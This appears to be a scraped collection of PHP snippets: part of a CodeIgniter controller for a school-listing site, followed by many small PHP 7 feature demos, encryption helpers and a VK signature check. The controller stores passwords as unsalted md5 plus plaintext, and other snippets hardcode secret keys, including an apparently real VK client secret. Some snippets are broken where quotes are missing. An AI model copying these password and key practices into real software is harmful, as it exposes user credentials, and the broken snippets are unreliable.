cellspacing="0" class="center"><tr><td align="center" style="background-color: #4cae4c; color: #ffffff; display: block; font-size: 16px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none;color:#ffffff;" target="_blank" title="Click to registered">SIGN-UP</a></span></td></tr></table></td></tr></table></td></tr><tr><td height="40" valign="top">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="15" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" class="full-width collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" style="font-size:22px; color:#363B40; font-weight:normal; text-align:center;">Connect With Us</td></tr><tr><td height="15"></td></tr><tr><td align="center" class="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0"><tr><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/facebook.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/twitter.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/linkedin.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"> <a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/google.png" width="32"></a></td></tr></table></td></tr></table></td></tr><tr><td height="15">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr style="background-color: #414242"><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td align="center" height="20" valign="top">&nbsp;</td></tr><tr><td valign="middle"><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td height="22" style="font-size:13px; font-weight: 500; color: #333;"><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Website : schooljano.com</a></span><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Email Us : info@schooljano.com</a></span><span style="text-decoration:none;color:#333;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Call Us : +91-9369 398 585</a></span></td></tr></table></td></tr><tr><td height="20">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #383939"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="4"></td></tr><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td valign="top"><span style="color:#aaa;font-size:11px;text-decoration:none;">India</span></td></tr></table></td></tr><tr><td height="4"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></body></html>'; //$msg = "test mail"; $sub = 'New User Created'; $this->sendUserCredentialByEmail($email, $msg, $sub); $this->session->set_flashdata('msg', 'School created sucessfully. Password sent to your email.'); redirect('Front/index'); } else { $this->session->set_flashdata('msg', 'school already exist.'); redirect('Front/index'); } } public function logout() { $this->session->sess_destroy(); redirect('Front/index'); } public function studentProfile() { $data['profile'] = $this->front_model->getProfile($this->session->userdata('userid')); $data['user'] = $this->front_model->getUserDetail($this->session->userdata('userid')); $data['siblings'] = $this->front_model->getSiblingDetail($data['profile']->id); $this->load->view('front/header'); $this->load->view('front/userProfile', $data); //$this->load->view('front/profile', $data); $this->load->view('front/footer'); } public function addSibling() { //print_r($_POST); //die; $data = array ( 'stu_name' => $this->input->post('stu_name'), 'dob' => $this->input->post('stu_dob'), 'profile_id' => $this->input->post('profile_id'), ); $this->front_model->addSibling($data); redirect('front/studentProfile'); } public function removeSibling() { $id = $this->uri->segment(3); $this->front_model->removeSibling($id); redirect('front/studentProfile'); } public function updateProfile() { //print_r($_POST);die; /* $i=0; foreach($this->input->post('stu_name') as $row){ $students[]=array( 'stu_name'=>$row, 'stu_dob'=>$stu_dob[$i], 'stu_phone'=>$stu_phone[$i] ); $i++; } */ $arr = array ( 'father_name' => $this->input->post('father_name'), 'father_email' => $this->input->post('father_email'), 'father_quali' => $this->input->post('father_quali'), 'father_occupation' => $this->input->post('father_occupation'), 'mother_name' => $this->input->post('mother_name'), 'mother_quali' => $this->input->post('mother_quali'), 'mother_occupation' => $this->input->post('mother_occupation'), 'address' => $this->input->post('address'), 'pincode' => $this->input->post('pincode'), 'office_phone' => $this->input->post('office_phone'), 'mobile' => $this->input->post('mobile'), 'nationality' => $this->input->post('nationality'), 'category' => $this->input->post('category'), 'domicile' => $this->input->post('domicile'), 'user_id' => $this->session->userdata('userid'), /* 'students'=>json_decode($students) */ ); $this->front_model->updateProfile($arr, $this->session->userdata('userid')); redirect('front/studentProfile'); } public function changeStudentPass() { //print_r($_POST); // die; $oldpass = $this->input->post('old_pass'); $newpass = $this->input->post('new_pass'); $arr = array ( 'password' => md5($newpass), 'password2' => $newpass, ); $res = $this->front_model->checkStudentPass($oldpass, $this->session->userdata('userid')); if ($res !=false) { $this->front_model->changeStudentPass($arr, $this->session->userdata('userid')); } redirect('front/studentProfile'); } public function schoolsDesk() { $data['state'] = $state = $this->input->post('state'); $data['city'] = $city = $this->input->post('city'); $data['states'] = $this->common_model->getStates(); $data['cities'] = $this->common_model->getCitiesByStateId($state); $id = $this->uri->segment(3); $data['schoolsdesk'] = $this->front_model->getAllSchoolsDesk($state, $city); $data['recentdesk1'] = $this->front_model->getRecentDesk(4, 0); $data['recentdesk2'] = $this->front_model->getRecentDesk(4, 4); $this->load->view('front/header'); $this->load->view('front/schoolsDesk', $data); $this->load->view('front/footer'); } public function deskDetail() { $id = $this->uri->segment(3); $data['deskdetail'] = $this->front_model->getSchoolDeskDetail($id); $data['recentdesk'] = $this->front_model->getRecentDesk(8, 0, $id); $this->load->view('front/header'); $this->load->view('front/deskDetail', $data); $this->load->view('front/footer'); } public function educationalNews() { $data['state'] = $state = $this->input->post('state'); $data['city'] = $city = $this->input->post('city'); $data['states'] = $this->common_model->getStates(); $data['cities'] = $this->common_model->getCitiesByStateId($state); $data['news'] = $this->front_model->getAllEductionalNews($state, $city); $data['recentnews1'] = $this->front_model->getEductionalNews(4, 0); $data['recentnews2'] = $this->front_model->getEductionalNews(4, 4); $this->load->view('front/header'); $this->load->view('front/educationalNews', $data); $this->load->view('front/footer'); } public function newsDetail() { $id = $this->uri->segment(3); $data['newsdetail'] = $this->front_model->getEductionalNewsDetail($id); $data['recentnews'] = $this->front_model->getRecentEductionalNews(8, 0, $id); $this->load->view('front/header'); $this->load->view('front/newsDetail', $data); $this->load->view('front/footer'); } public function educationalEvents() { $data['state'] = $state = $this->input->post('state'); $data['city'] = $city = $this->input->post('city'); $data['type'] = $type = $this->input->post('type'); $data['states'] = $this->common_model->getStates(); $data['cities'] = $this->common_model->getCitiesByStateId($state); //$data['category'] = $this->common_model->getAllCategory(); $id = $this->uri->segment(3); $data['events'] = $this->front_model->getAllEductionalEvents($state, $city, $type); $data['eventtype'] = $this->front_model->getAllEventTypes(); $data['latestevent1'] = $this->front_model->getEductionalEvent(4, 0); $data['latestevent2'] = $this->front_model->getEductionalEvent(4, 4); $this->load->view('front/header'); $this->load->view('front/educationalEvents', $data); $this->load->view('front/footer'); } public function eventDetail() { $id = $this->uri->segment(3); $data['eventdetail'] = $this->front_model->getEductionalEventDetail($id); $data['recentevent'] = $this->front_model->getRecentEductionalEvent(8, 0, $id); $this->load->view('front/header'); $this->load->view('front/eventDetail', $data); $this->load->view('front/footer'); } public function viewSchoolDetail() { $id = $this->uri->segment(3); $category = $this->front_model->getSchoolCategory($id); //$data['schooldetail']=$this->front_model->getSchoolDetail($id); $this->load->view('front/header'); if ($category ==1) { $data['schooldetail'] = $this->front_model->getBoardingCompleteprofile($id); $this->load->view('front/viewBoardingProfile', $data); } if ($category ==2) { $data['schooldetail'] = $this->front_model->getDayCompleteprofile($id); $this->load->view('front/viewDaySchoolProfile', $data); } if ($category ==3) { $data['schooldetail'] = $this->front_model->getMusicCompleteprofile($id); $this->load->view('front/viewMusicCompleteprofile', $data); } if ($category ==4) { $data['schooldetail'] = $this->front_model->getSportCompleteprofile($id); $this->load->view('front/viewSportCompleteprofile', $data); } if ($category ==5) { $data['schooldetail'] = $this->front_model->viewSpecialCompleteProfile($id); $this->load->view('front/viewSpecialCompleteProfile', $data); } $this->load->view('front/footer'); } public function applyform() { $this->load->view('front/header'); $this->load->view('front/applyform'); $this->load->view('front/footer'); } public function getCities() { $cities = $this->common_model->getCitiesJsonByStateId($this->input->post('state')); echo json_encode($cities); } public function getAreas() { //print_r($_POST); die; $areas = $this->common_model->getAreasByCityId($this->input->post('city')); echo json_encode($areas); } public function searchSchool() { //print_r($_GET); $data['state'] = $state = $this->input->get('state'); $data['city'] = $city = $this->input->get('city'); $data['type'] = $type = $this->input->get('type'); $data['pincode'] = $pincode = $this->input->get('pincode'); $data['schooltype'] = $schooltype = $this->input->get('schooltype'); $data['areaid'] = $areaid = $this->input->get('areaid'); $data['natures'] = $this->common_model->getNatureOfSchoolByCategoryId($type); $data['schools'] = $this->front_model->getSchool($state, $city, $type, $pincode, $schooltype); $data['states'] = $this->common_model->getStates(); $data['cities'] = $this->common_model->getCitiesByStateId($state); $data['areas'] = $this->common_model->getAreasByCityId($city); $data['category'] = $this->common_model->getAllCategory(); $data['boards'] = $this->common_model->getAllBoardByCategoryId($type); $data['schooltypes'] = $this->common_model->getSchooltypelByCategoryId($type); $data['classes'] = $this->common_model->getAllAdmissionByCategoryId($type); $data['feeranges'] = $this->common_model->getAllFeesRangeByCategoryId($type); $data['facilities'] = $this->common_model->getFacilitiesByCategoryId($type); $this->load->view('front/header'); $this->load->view('front/schoolSearch', $data); $this->load->view('front/footer'); } public function filterSchool() { //print_r($_GET); $state = $this->input->get('state'); $city = $this->input->get('city'); $type = $this->input->get('type'); $pincode = $this->input->get('pincode'); $boards = $this->input->get('boards'); //print_r($boards); $classes = $this->input->get('classes'); $facilities = $this->input->get('facilities'); $natures = $this->input->get('natures'); $schooltypes = $this->input->get('schooltypes'); $feeranges = $this->input->get('feeranges'); $areaid = $this->input->get('areaid'); $schooltype = $this->input->get('schooltype'); $this->db->select('school_reg.*,school_category.title catname,state_master.name statename,city_master.name cityname'); $this->db->from('school_reg'); $this->db->join('school_category', 'school_reg.category = school_category.id', 'left'); $this->db->join('state_master', 'school_reg.state=state_master.id', 'left'); $this->db->join('city_master', 'school_reg.city=city_master.id', 'left'); $this->db->where('school_reg.state', $state); $this->db->where('school_reg.city', $city); $this->db->where('school_reg.category', $type); $this->db->where('school_reg.pincode', trim($pincode)); if (count($boards)>0) { $this->db->where_in('school_reg.Board', $boards); } if (count($classes)>0) { $this->db->where_in('school_reg.admission_open_class', $classes); } if (count($facilities)>0) { $this->db->where_in('school_reg.facilities', $facilities); } if (count($natures)>0) { $this->db->where_in('school_reg.Board', $natures); } if (count($schooltypes)>0) { $this->db->where_in('school_reg.Board', $schooltypes); } if (count($feeranges)>0) { $this->db->where_in('school_reg.fees_rang', $feeranges); } $res = $this->db->get(); echo json_encode($res->result()); } public function addToCompare() { //print_r($_SESSION); $count = !empty($this->session->userdata('comparecount'))?$this->session->userdata('comparecount'):0; if ($this->session->userdata('comparecount')>0) { if ($this->session->userdata('comparecount')<3&&$this->session->userdata('basecategory') ==$this->input->post('catid')) { $this->session->set_userdata('comparecount', $count+1); $this->session->set_userdata('schoolid_' . $count, $this->input->post('schoolid')); //$this->session->set_userdata('url', base_url() . 'front/compareSchool'); echo true; } else { echo false; } } else { $this->session->set_userdata('comparecount', '1'); $this->session->set_userdata('basecategory', $this->input->post('catid')); $this->session->set_userdata('schoolid_' . $count, $this->input->post('schoolid')); echo true; } //print_r($this->session->userdata); } public function clearCompare() { for ($i = 1; $i <=$this->session->userdata('comparecount'); $i++) { $this->session->unset_userdata('schoolid_' . $i); } $this->session->unset_userdata('basecategory'); $this->session->unset_userdata('comparecount'); redirect('Front/index'); } public function compareSchool() { $data['count'] = $count = $this->session->userdata('comparecount'); $data['category'] = $category = $this->session->userdata('basecategory'); $school0 = $this->session->userdata('schoolid_0'); $school1 = $this->session->userdata('schoolid_1'); $school2 = $this->session->userdata('schoolid_2'); $data['schools'] = $this->front_model->getSchoolCompare($count, $school0, $school1, $school2); $data['sports'] = $this->front_model->getAllSports2($category); $data['cultural'] = $this->front_model->getAllCulturalActivities2($category); $data['infra'] = $this->front_model->getAllInfrastructure($category); $this->load->view('front/header'); $this->load->view('front/School-Comparison', $data); $this->load->view('front/footer'); } public function updateMobile() { $arr = array ( 'mobile' => $this->input->post('mobile') ); $this->front_model->updateMobile($arr, $this->session->userdata('userid')); $this->session->set_flashdata('msg', 'Mobile updated successfully'); redirect('Front/index'); } public function test() { $this->load->view('front/header'); $this->load->view('front/userProfile'); $this->load->view('front/footer'); } }

https://pt.stackoverflow.com/q/349349/101

<?php $a = 10; $b = 6; echo ++$a; // pre incremento echo "<br>"; echo $b++; echo "<br>"; echo$b; // pós incremento echo"<br>"; echo--$a;// pré decremento //https://pt.stackoverflow.com/q/349349/101

Reverse a string

<?php /** * Function to reveser a string * Author: Shripad Samant */ function reverse_string($string_val) { $string_val = (string)$string_val; if (strlen($string_val) == 0) { echo "String Length Can't be Zero\n"; } else { $stringArr = []; for ($i = strlen($string_val) -1; $i >= 0; $i--) { $stringArr[] = $string_val[$i]; } echo implode(", $stringArr)."\n"; } } $string = "Shripad Samant"; $string_num = 12345; $string_empty ="; $string_null = NULL; reverse_string($string); reverse_string($string_num); reverse_string($string_empty); reverse_string($string_null); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a[ ] = "a"; $a[ ] = "c"; $a[ ] ="b"; echo $a[1]; ?> </body> </html>

Test

<?php $array = array(4, 6, 2, 1, 3, 0, 9, 8, 7, 5); $newarray = array(); $x = 0; $lowest = 900; foreach ($array as $arraymember){ if ($lowest --> $arraymember){ $lowest = $arraymember; } echo $arraymember; echo "\n"; } echo $lowest;?> <?php function _parseTableName(string $name) { // 转换 camelCase 到 snake_case $table = strtolower(preg_replace('/(.*)([A-Z]+)/', "$1_$2", $name)); // 移除 Model 和 Mdl 前后缀,移除字符串前后 _ $table = trim(strtr($table, ['model' => '', 'mdl' => '']), '_'); return $table; } //_parseTableName('userModel');exit; var_dump(_parseTableName('user'), _parseTableName('userAvatar'), _parseTableName('User'), _parseTableName('userModel'), _parseTableName('_modelUser'), _parseTableName('mdlUser')); <?php function _parseTableName(string $name) { // 转换 camelCase 到 snake_case $table = strtolower(preg_replace('/(.*)([A-Z]+)/', "$1_$2", $name)); // 移除 Model 和 Mdl 前后缀,移除字符串前后 _ $table = trim(strtr($table, ['model' => '', 'mdl' => '']), '_'); return $table; } //_parseTableName('userModel');exit; var_dump(_parseTableName('user'), _parseTableName('userAvatar'), _parseTableName('User'), _parseTableName('userModel'), _parseTableName('_modelUser'), _parseTableName('mdlUser')); <?php $hashcode = encryptor('abc123'); $decry = decryptor($hashcode); echo "\nHash = ". $hashcode . "\nEmail = " . $decry; function encryptor($string) { $output = false; $encrypt_method = "AES-256-CBC"; //pls set your unique hashing key $secret_key = 'e@c@l@i@c@k'; $secret_iv = 'S3cur3'; // hash $key = hash('sha512', $secret_key); // iv - encrypt method AES-256-CBC expects 16 bytes - else you will get a warning $iv = substr(hash('sha512', $secret_iv), 0, 16); //do the encyption given text/string/number $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv); $output = base64_encode($output); return $output; } function decryptor($string) { $output = false; $encrypt_method = "AES-256-CBC"; //pls set your unique hashing key $secret_key = 'e@c@l@i@c@k'; $secret_iv = 'S3cur3'; // hash $key = hash('sha512', $secret_key); // iv - encrypt method AES-256-CBC expects 16 bytes - else you will get a warning $iv = substr(hash('sha512', $secret_iv), 0, 16); $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv); return $output; } ?> <?php /*NOTE: It is recommended you use a local copy of command line PHP to do this assignment. macOS ships with a php command you can run in Terminal. The Windows binary can be downloaded from https://windows.php.net/download#php-7.2 --------------------------------------------------------------------------- NOTE: When experimenting, you'll need to adjust some values to make the time-to-solution reasonable for question 2, depending on your implementation. If your program is running for more than ~20 seconds to find a solution, you should cancel it with Ctrl-C and make adjustments. --------------------------------------------------------------------------- //Read the documentation for PHP's crypt function. --------------------------------------------------------------------------- //Modify the example #3 from the password_hash page (reproduced below) to use crypt() instead. This code gives a method to compute the cost parameter to take about 1/20th of a second. Create a version that does this for each of the algorithms supported by crypt, using it's built-in cost function where possible. Submit your code for this question. --------------------------------------------------------------------------- /** From the PHP documentation for password_hash example: * This code will benchmark your server to determine how high of a cost you can * afford. You want to set the highest cost that you can without slowing down * you server too much. 8-10 is a good baseline, and more is good if your servers * are fast enough. The code below aims for ≤ 50 milliseconds stretching time, * which is a good baseline for systems handling interactive logins. */ $timeTarget = 0.05; // 50 milliseconds $cost = 8; do { $cost++; $start = microtime(true); password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]); $end = microtime(true); } while (($end - $start) < $timeTarget); echo "Appropriate Cost Found: " . $cost; //Additional information: The cost for an algorithm is the number of iterations that it runs. The basic iteration loop would like like: $hash = crypt("password", $salt); $step = 1; for ($i = 1; $i < $iterations; $i += $step) { $hash = crypt($hash, $salt); } //This kind of loop is only necessary for 2 of the algorithms, as the others can be encoded in the salt. //--------------------------------------------------------------------------- //Here is a function for computing the EXT_DES salt, given a cost: function ext_des($cost) { $chars = array('.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ); $val4 = ($cost >> 6*3) % 64; $val3 = ($cost >> 6*2) % 64; $val2 = ($cost >> 6*1) % 64; $val1 = $cost % 64; return "_" . $chars[$val1] . $chars[$val2] . $chars[$val3] . $chars[$val4] . 'aaaa'; } // Also it is ok to use a coarse/large step in the number of iterations for some algorithms to reduce script run time. For all but Blowfish, it should be possible to get a time that is in the range 0.045..0.055. //--------------------------------------------------------------------------- ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

PHP 7 Error Handling

<?php interface Logger { public function log(string $msg); } class Application { private $logger; public function getLogger(): Logger { return $this->logger; } public function setLogger(Logger $logger) { $this->logger = $logger; } } $app = new Application; $app->setLogger(new class implements Logger { public function log(string $msg) { print($msg); } }); $app->getLogger()->log("My first Log Message"); ?>

test

<?php interface Logger { public function log(string $msg); } class Application { private $logger; public function getLogger(): Logger { return $this->logger; } public function setLogger(Logger $logger) { $this->logger = $logger; } } $app = new Application; $app->setLogger(new class implements Logger { public function log(string $msg) { print($msg); } }); $app->getLogger()->log("My first Log Message"); ?> <?php $ar = array( array( "picTitle" => "标题2", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-26 11:59:50", "pictureurl" => "attachment/picture/uploadify/20141126/547550278b7db.jpg", ), array( "picTitle" => "标题2", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-26 11:59:50", "pictureurl" => "attachment/picture/uploadify/20141126/54755027ab89b.jpg", ), array( "picTitle" => "标题2", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-26 11:59:50", "pictureurl" => "attachment/picture/uploadify/20141126/547550273b753.jpg", ), array( "picTitle" => "标题2", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-26 11:59:50", "pictureurl" => "attachment/picture/uploadify/20141126/54755027d8488.jpg", ), array( "picTitle" => "同步写入信息和附件表里", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-20 16:05:16", "pictureurl" => "attachment/picture/uploadify/20141120/546da0746edb8.png", ), array( "picTitle" => "同步写入信息和附件表里", "picCategroy" => "海报", "picAuthor" => "星耀学园", "picPostTime" => "2014-11-20 16:05:16", "pictureurl" => "attachment/picture/uploadify/20141120/546da0784831c.png", ), ); $res = array(); foreach($ar as $item) { if(! isset($res[$item['picTitle']])) { $res[$item['picTitle']] = $item; } else { $res[$item['picTitle']]['pictureurl'] .= ',' . $item['pictureurl']; } } var_export(array_values($res)); ?>

PHP 7 Integer Division

<?php $value = intdiv(10,3); var_dump($value); print(" "); print($value); ?>

PHP 7 Error Handling

<?php class MathOperations { protected $n = 10; // Try to get the Division by Zero error object and display as Exception public function doOperation(): string { try { $value = $this->n % 0; return $value; } catch (DivisionByZeroError $e) { return $e->getMessage(); } } } $mathOperationsObj = new MathOperations(); print($mathOperationsObj->doOperation()); ?>

PHP7 assert()

<?php ini_set('assert.exception', 1); class CustomError extends AssertionError {} assert(false, new CustomError('Custom Error Message!')); ?>

PHP7 random_int()

<?php print(random_int(100, 999)); print("); print(random_int(-1000, 0)); ?>

PHP7 Random Bytes

<?php $bytes = random_bytes(5); print(bin2hex($bytes)); ?>

PHP 7 Filtered unserialize()

<?php class MyClass1 { public $obj1prop; } class MyClass2 { public $obj2prop; } $obj1 = new MyClass1(); $obj1->obj1prop = 1; $obj2 = new MyClass2(); $obj2->obj2prop = 2; $serializedObj1 = serialize($obj1); $serializedObj2 = serialize($obj2); // default behaviour that accepts all classes // second argument can be ommited. // if allowed_classes is passed as false, unserialize converts all objects into __PHP_Incomplete_Class object $data = unserialize($serializedObj1 , ["allowed_classes" => true]); // converts all objects into __PHP_Incomplete_Class object except those of MyClass1 and MyClass2 $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]); print($data->obj1prop); print("<br/>"); print($data2->obj2prop); ?>

PHP 7+ Program

<?php class A { private $x = 1; } // PHP 7+ code, Define $value = function() { return $this->x; }; print($value->call(new A)); ?>

Closure Pre PHP 7 Program

<?php class A { private $x = 1; } // Define a closure Pre PHP 7 code $getValue = function() { return $this->x; }; // Bind a clousure $value = $getValue->bindTo(new A, 'A'); print($value()); ?>

PHP7 Anonymous Classes

<?php interface Logger { public function log(string $msg); } class Application { private $logger; public function getLogger(): Logger { return $this->logger; } public function setLogger(Logger $logger) { $this->logger = $logger; } } $app = new Application; $app->setLogger(new class implements Logger { public function log(string $msg) { print($msg); } }); $app->getLogger()->log("My first Log Message"); ?>

PHP 7 Constant Arrays

<?php //define a array using define function define('animals', [ 'dog', 'cat', 'bird' ]); print(animals[1]); ?>

PHP 7 Spaceship Operator

<?php //integer comparison print( 1 <=> 1);print("<br/>"); print( 1 <=> 2);print("<br/>"); print( 2 <=> 1);print("<br/>"); print("<br/>"); //float comparison print( 1.5 <=> 1.5);print("<br/>"); print( 1.5 <=> 2.5);print("<br/>"); print( 2.5 <=> 1.5);print("<br/>"); print("<br/>"); //string comparison print( "a" <=> "a");print("<br/>"); print( "a" <=> "b");print("<br/>"); print( "b" <=> "a");print("<br/>"); ?>

PHP 7 Null Coalescing Operator

<?php // fetch the value of $_GET['user'] and returns 'not passed' // if username is not passed $username = $_GET['username'] ?? 'not passed'; print($username); print("<br/>"); // Equivalent code using ternary operator $username = isset($_GET['username']) ? $_GET['username'] : 'not passed'; print($username); print("<br/>"); // Chaining ?? operation $username = $_GET['username'] ?? $_POST['username'] ?? 'not passed'; print($username); ?>

PHP7 Valid Return Type

<?php declare(strict_types = 1); function returnIntValue(int $value): int { return $value; } print(returnIntValue(5)); ?>

xxxx

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

PHP7 Strict Mode Scalar Type

<?php // Strict mode declare(strict_types=1); function sum(int ...$ints) { return array_sum($ints); } print(sum(2, '3', 4.1)); ?>

PHP7 Coercive Mode Scalar Type

<?php // Coercive mode function sum(int ...$ints) { return array_sum($ints); } print(sum(2, '3', 4.1)); ?>

sleep() function in PHP

<?php echo date('h:i:s') . "<br>"; // wait for 10 seconds sleep(10); echo date('h:i:s') . "<br>"; // wait for 5 seconds sleep(5); echo date('h:i:s'); ?>

eval() function in PHP

<?php $one = "Demo"; $two = "text"; $res = 'This is $one $two!'; echo $res. "<br>"; eval("\$res = \"$res\";"); echo $res;?>

define() function in PHP

<?php define("message","This is it!"); echo constant("message"); ?>

FILTER_CALLBACK constant in PHP

<?php $string="DEMO TEXT!"; echo filter_var($string, FILTER_CALLBACK,array("options"=>"strtolower")); ?>

FILTER_SANITIZE_URL constant in PHP

<?php $var="www.example��"; var_dump(filter_var($var, FILTER_SANITIZE_URL)); ?>

FILTER_SANITIZE_SPECIAL_CHARS constant in PHP

<?php $var = "Favorite Sports is Football & Cricket?"; var_dump(filter_var($var,FILTER_SANITIZE_SPECIAL_CHARS)); ?>

FILTER_SANITIZE_NUMBER_INT constant in PHP

<?php $var = "4-5+9p"; var_dump(filter_var($var, FILTER_SANITIZE_NUMBER_INT)); ?>

FILTER_SANITIZE_ENCODED constant in PHP Example 2

<?php $url="example.com££"; $url = filter_var($url, FILTER_SANITIZE_ENCODED, FILTER_FLAG_STRIP_HIGH); echo $url; ?>

FILTER_SANITIZE_ENCODED constant in PHP

<?php $url="wwwÅ.exampleÅ.com"; $url = filter_var($url, FILTER_SANITIZE_ENCODED, FILTER_FLAG_STRIP_HIGH); echo $url; ?>

FILTER_VALIDATE_URL() constant in PHP

<?php $url = "examplecom"; if (filter_var($url, FILTER_VALIDATE_URL)) { echo("Valid URL!"); } else { echo("Invalid URL!"); } ?>

FILTER_VALIDATE_URL() constant in PHP

<?php $url = "https://www.example.com"; if (filter_var($url, FILTER_VALIDATE_URL)) { echo("Valid URL!"); } else { echo("Invalid URL!"); } ?>

FILTER_VALIDATE_IP constant in PHP

<?php $ip = "35.2.1"; if (filter_var($ip, FILTER_VALIDATE_IP)) { echo("Valid IP address!"); } else { echo("Invalid IP address!"); } ?>

FILTER_VALIDATE_BOOLEAN() constant in PHP

<?php $var="on"; var_dump(filter_var($var, FILTER_VALIDATE_BOOLEAN)); ?>

PHP Null Variables

<?php $var = NULL; $var2 = 'NULL'; isset($var) ? print_r($var . 'Var is Set ') : print_r($var . ' Not Set '); print_r('<br />'); empty($var) ? print_r($var . 'Var Empty ') : print_r($var . ' Not empty '); print_r('<br />'); isset($var2) ? print_r($var2 . 'Var2 is Set ') : print_r($var2 . ' Not Set '); print_r('<br />'); empty($var2) ? print_r($var2 . 'Var2 Empty ') : print_r($var2 . ' Not empty '); print_r('<br />'); ?>

https://pt.stackoverflow.com/q/345270/101

<?php $clientes = array( array( "nome" => "Cliente 1", "categoria" => "Turismo", "logo" => "turismo.jpg" ), array( "nome" => "Suporte", "categoria" => "Tecnologia", "logo" => "suporte.jpg" ), array( "nome" => "Faculdade Futura", "categoria" => "Educação", "logo" => "faculdade-futura.jpg" )); $tmp = $clientes; shuffle(array_slice(tmp, 15, 30)); $novo = array_merge(array_slice($clientes, 0, 15), $tmp); foreach ($novo as $atributo => $valor): echo "{$valor["nome"]}\n"; endforeach; //https://pt.stackoverflow.com/q/345270/101

qwerty

<?php const x = '01' + '02' - '03'; echo x, "\n"; echo gettype(x), "\n";?>

vk-sign

<?php $url = 'https://sale.aliexpress.com/ru/__mobile/hello-vk_m.htm?t=4&vk_access_token_settings=&vk_app_id=6706576&vk_are_notifications_enabled=1&vk_is_app_user=1&vk_language=en&vk_platform=iphone&vk_user_id=469955933&sign=2WIZysi1hVJ4aBXeBX4vZtIWGznsFNzrbXiu0lkmg-s'; $client_secret = 'L2y61RUdbtXZNy38dCzV'; //Защищённый ключ из настроек вашего приложения $query_params = []; parse_str(parse_url($url, PHP_URL_QUERY), $query_params); // Получаем query-параметры из URL $sign_params = []; foreach ($query_params as $name => $value) { if (strpos($name, 'vk_') !== 0) { // Получаем только vk параметры из query continue; } $sign_params[$name] = $value; } ksort($sign_params); // Сортируем массив по ключам $sign_params_query = http_build_query($sign_params); // Формируем строку вида "param_name1=value&param_name2=value" $sign = rtrim(strtr(base64_encode(hash_hmac('sha256', $sign_params_query, $client_secret, true)), '+/', '-_'), '='); // Получаем хеш-код от строки, используя защищеный ключ приложения. Генерация на основе метода HMAC. $status = $sign === $query_params['sign']; // Сравниваем полученную подпись со значением параметра 'sign' echo ($status ? 'Hello AliExpress!' : 'Sorry, you don\'t have access.')."\n";?>

vk-sign

